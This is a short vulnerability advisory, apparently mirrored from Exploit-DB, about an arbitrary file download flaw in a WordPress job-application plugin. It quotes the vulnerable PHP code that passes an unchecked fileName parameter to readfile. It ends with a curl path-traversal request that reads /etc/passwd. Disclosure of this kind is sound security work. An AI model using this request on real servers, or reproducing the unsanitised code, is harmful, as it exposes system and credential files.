WordPress Plugin Candidate Application Form 1.0 – Arbitrary File Download

  • 作者： Larry W. Cashdollar
    日期： 2015-08-10
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/37754/
  • Title: Remote file download vulnerability in candidate-application-form v1.0 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-12
Download Site: https://wordpress.org/plugins/candidate-application-form
Vendor: https://profiles.wordpress.org/flaxlandsconsulting/
Vendor Notified: 2015-07-12
Vendor Contact:
Description: This plugin allows you to easily add a candidate application form to a job vacancy post, which allows the candidate to apply for the vacancy.
Vulnerability:
The code in downloadpdffile.phpdoesn't do any sanity checks, allowing a remote attacker to download sensitive system files:

 <?php
2 $file_name = $_GET["fileName"];
3 $path = $_GET["fileUrl"];
4 $fullfile = $path.$file_name;
5 if (file_exists('../../uploads/candidate_application_form/'.$file_name)) {
6 header('Pragma: public'); // required
7 header('Expires: 0'); // no cache
8 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
9 header('Last-Modified: '.gmdate ('D, d M Y H:i:s', filemtime ('../../uploads/candidate_application_form/'.$file_name)).' GMT');
 10 header('Cache-Control: private',false);
 11 header('Content-Type: '.'application/pdf');
 12 header('Content-Disposition: attachment; filename="'.basename('../../uploads/candidate_application_form/'.$file_name).'"');
 13 header('Content-Transfer-Encoding: binary');
 14 header('Content-Length: '.filesize('../../uploads/candidate_application_form/'.$file_name));// provide file size
 15 header('Connection: close');
 16 readfile('../../uploads/candidate_application_form/'.$file_name); // push it out
 17 exit();
 18 }

CVEID:
OSVDB:
Exploit Code:
• $ curl http://server/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd